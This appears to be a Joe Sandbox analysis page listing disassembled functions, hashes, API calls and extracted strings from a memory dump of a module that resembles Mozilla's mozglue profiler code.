Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: ef9967a425b7ab7d10c22c90fab11dda00139c85f07e04d5a8b71ac246e4d25c
Instruction ID: 849b953083c9f39d5dca9418171f209b7d91c39336ae06c2414d5f2f2ce1f2f0
Opcode Fuzzy Hash: ef9967a425b7ab7d10c22c90fab11dda00139c85f07e04d5a8b71ac246e4d25c
Instruction Fuzzy Hash: 6641A771F0121D9FDF04CFA9E991ADEB7F5EF88314F14822AE415A7704DB31A8898B91

Function 6CA6DFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

Nvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exe, xrefs: 6CA6E3A2, 6CA6E7AC

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: Nvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exe
API String ID: 0-1030354062
Opcode ID: 557fb6f6f3b40e6e58bf7fcf4ea5a2bca045e55931da5c16ae1b3d33f7cf0917
Instruction ID: d221e81a4adf04b605b472a5287614c14dd1325ab622ba9b3b63093156ce5dd7
Opcode Fuzzy Hash: 557fb6f6f3b40e6e58bf7fcf4ea5a2bca045e55931da5c16ae1b3d33f7cf0917
Instruction Fuzzy Hash: A142C772A087518BD304CE3DC89075AF3E2BFC9354F198B2DE999A7B90D734D9818B81

Function 6CAA5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA74A63,?,?), ref: 6CAA5F06

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: bb20cf93b9e289b50f6438028b4c7a14256f1c10773673f75c34069a6f6a978d
Instruction ID: 3722a0cca9757ee0ab0dbcb186912be1dd4f859f00929903f68a1338c8781a5d
Opcode Fuzzy Hash: bb20cf93b9e289b50f6438028b4c7a14256f1c10773673f75c34069a6f6a978d
Instruction Fuzzy Hash: 06C1F275D016099BCB14CF99C1906EEFBF2FF8A318F28815DD8556BB44D732A886CB84

Function 6CAD76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: d5f59e77047cd4df5fda34928275785a1390f027a597c6ae67d89a829c046b5f
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: A632FA71E006198FCB18CF99C890AADF7B2FF88308F598169C559E7749D731A986CF90

Function 6CAD6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 00edc7985a144ab1f22792993f8635db8f70748a33629f8d893afe3f9685770f
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: E822E871E002198FCB14CF98C980AADF7B2FF88304F6985AAC549E7745D731A986CF90

Function 6CA90512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: e60f9f6c8b69ac7857ce4a304ac8e1038143afed351226f66d3972c633987599
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 9B220675E146198FCB14CF98C891AADF7F2FF88304F688699C54AA7705D731A986CF80

Function 6CADAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2ea22ace5b13b6de52a9a8a26eef1ad845367766dbe2fa241a4602dc6227ec
Instruction ID: f31efe1cef23d01c88ebcfd01ee1cb8f4ac46d65f83110180c483ac870c56a67
Opcode Fuzzy Hash: ee2ea22ace5b13b6de52a9a8a26eef1ad845367766dbe2fa241a4602dc6227ec
Instruction Fuzzy Hash: 10F127716087454FD700CE28C8917AAB7E3AFC5318F1A8A2DE4D587781E774ADC9C792

Function 6CA6C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 46de1090ca4a324320c6cad8b26a4ff8c061e8334e2b13ddb1a5eff94c24e109
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 7DA19075F0021A8BDF08CE69C8913AEB7F2EFC9358F198129D915E7781DB349C468B90

Function 6CAA7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: a5c7db3fcea3143c571f24dfbfd3ce8c207dc8e61d64b24402de75e899bea06d
Instruction ID: d2e3ee8348de54233437e388d890864fda7e8d01f14a296cec2186186b5024c1
Opcode Fuzzy Hash: a5c7db3fcea3143c571f24dfbfd3ce8c207dc8e61d64b24402de75e899bea06d
Instruction Fuzzy Hash: A1714F75E012198FCB18CF99D8905EEBBB2FF89314F28816ED415AB744D731A986CF90

Function 6CAA58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: f24d97032962a08ded8152dda8ffa74371e2e40912ce588049e1e51598a8892e
Instruction ID: 9353053b9b011fdb544509379fbe67c42045c5e050220d2b6a653a8cc00a42f0
Opcode Fuzzy Hash: f24d97032962a08ded8152dda8ffa74371e2e40912ce588049e1e51598a8892e
Instruction Fuzzy Hash: 95817D75A016199FCB04CFACD8809EEBBF2FF89314F248269D411BB741D731A986CB94

Function 6CAACC00 Relevance: 76.7, APIs: 25, Strings: 26, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA7582D), ref: 6CAACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA7582D), ref: 6CAACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CADFE98,?,?,?,?,?,6CA7582D), ref: 6CAACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CAACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CAACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CAACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CAACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CAACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CAACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CAACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CAACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CAACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CAACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CAACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CAACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CAACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CAACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CAACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CAACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CAACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CAACE8A

Strings

seqstyle, xrefs: 6CAACCE6
fileioall, xrefs: 6CAACCA8
preferencereads, xrefs: 6CAACD92
ipcmessages, xrefs: 6CAACDBE
samplingallthreads, xrefs: 6CAACE2C
markersallthreads, xrefs: 6CAACE42
mainthreadio, xrefs: 6CAACC7C
fileio, xrefs: 6CAACC92
Unrecognized feature "%s"., xrefs: 6CAACEA0
cpuallthreads, xrefs: 6CAACE16
nativeallocations, xrefs: 6CAACDA8
power, xrefs: 6CAACE84
jsallocations, xrefs: 6CAACD0E
notimerresolutionchange, xrefs: 6CAACE00
audiocallbacktracing, xrefs: 6CAACDD4
leaf, xrefs: 6CAACC66
noiostacks, xrefs: 6CAACCBE
unregisteredthreads, xrefs: 6CAACE58
k.exe, xrefs: 6CAACD25
default, xrefs: 6CAACC21
nostacksampling, xrefs: 6CAACD7C
stackwalk, xrefs: 6CAACCF8
processcpu, xrefs: 6CAACE6E
screenshots, xrefs: 6CAACCD4
Nvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exe, xrefs: 6CAACF3B
java, xrefs: 6CAACC37

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Nvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exe$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$k.exe$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-3929885814
Opcode ID: 37223a957346e82d4992f2d1029efd2b2d37ad57e5d8666730365d6ed7b5da13
Instruction ID: c52c0ac3e3ffdde3fb23af490ee4dad22e8b012f96f6c14b2d74c0ebfa04406a
Opcode Fuzzy Hash: 37223a957346e82d4992f2d1029efd2b2d37ad57e5d8666730365d6ed7b5da13
Instruction Fuzzy Hash: 0551A4E0A0522516FA0032D56E10BAB7504FB5624EF55543AED0AB7E80FF06B6CF46B7

Function 6CA747C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA74801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA74817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA7482D
__Init_thread_footer.LIBCMT ref: 6CA7484A

Part of subcall function 6CA9AB3F: EnterCriticalSection.KERNEL32(6CAEE370,?,?,6CA63527,6CAEF6CC,?,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB49
Part of subcall function 6CA9AB3F: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA63527,6CAEF6CC,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9AB7C

GetCurrentThreadId.KERNEL32 ref: 6CA7485F
GetCurrentThreadId.KERNEL32 ref: 6CA7487E
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7488B
free.MOZGLUE(?), ref: 6CA7493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA74956
free.MOZGLUE(00000000), ref: 6CA74960
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7499A

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

free.MOZGLUE(?), ref: 6CA749C6
free.MOZGLUE(?), ref: 6CA749E9

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA747FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6CA74A42
[I %d/%d] profiler_shutdown, xrefs: 6CA74A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA74828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA74812

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 16371729d3efd047f42bc341816dfaa95c75827f0aa0c87cdd5640c2332b501e
Instruction ID: cdc75aa077cf804e9501cccd817c8de12532d6243897732dfc9c608877b38d51
Opcode Fuzzy Hash: 16371729d3efd047f42bc341816dfaa95c75827f0aa0c87cdd5640c2332b501e
Instruction Fuzzy Hash: FA812479A002058FEB28DF68D84875A3771FB4A318F184229D91697B41D731D8C6DFF6

Function 6CA74470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA74730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA744B2,6CAEE21C,6CAEF7F8), ref: 6CA7473E
Part of subcall function 6CA74730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA7474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA744D2
InitOnceExecuteOnce.KERNEL32(6CAEF80C,6CA6F240,?,?), ref: 6CA7451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA7455C
LoadLibraryW.KERNEL32(?), ref: 6CA74592
InitializeCriticalSection.KERNEL32(6CAEF770), ref: 6CA745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA745BB
InitOnceExecuteOnce.KERNEL32(6CAEF818,6CA6F240,?,?), ref: 6CA74612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA74636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA74644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA7466D
VerSetConditionMask.NTDLL ref: 6CA7469F
VerSetConditionMask.NTDLL ref: 6CA746AB
VerSetConditionMask.NTDLL ref: 6CA746B2
VerSetConditionMask.NTDLL ref: 6CA746B9
VerSetConditionMask.NTDLL ref: 6CA746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA746FD

Strings

kernel32.dll, xrefs: 6CA744CD
WRusr.dll, xrefs: 6CA744B5
l, xrefs: 6CA74578
NativeNtBlockSet_Write, xrefs: 6CA746F7
user32.dll, xrefs: 6CA74557, 6CA7463F

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: cb4276767ac36fa5c5de5e3d1684786954954c81c9e65e4fc8a446944f11b913
Instruction ID: 70930c408c93f775c26f39885870840c870e1962fed9444d3cd00099c6c1d6ff
Opcode Fuzzy Hash: cb4276767ac36fa5c5de5e3d1684786954954c81c9e65e4fc8a446944f11b913
Instruction Fuzzy Hash: D161F1B4A00345AFEB248F65EC49BA57BB8FB4A708F08C55CE5049B641D7708AC6DFE0

Function 6CAAE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CAAB9F1,?), ref: 6CAA7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CAADCF5), ref: 6CAAE92D
GetCurrentThreadId.KERNEL32 ref: 6CAAEA4F
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEA5C
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEA80
GetCurrentThreadId.KERNEL32 ref: 6CAAEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CAADCF5), ref: 6CAAEA92
GetCurrentThreadId.KERNEL32 ref: 6CAAEB11
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CAAEB3C
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEB5B

Part of subcall function 6CAA5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAAEB71), ref: 6CAA57AB

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CAAEBAC

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAEBC1
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000), ref: 6CAAEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CAAEBE5
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8,00000000), ref: 6CAAEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAAEC46
CloseHandle.KERNEL32(?), ref: 6CAAEC55
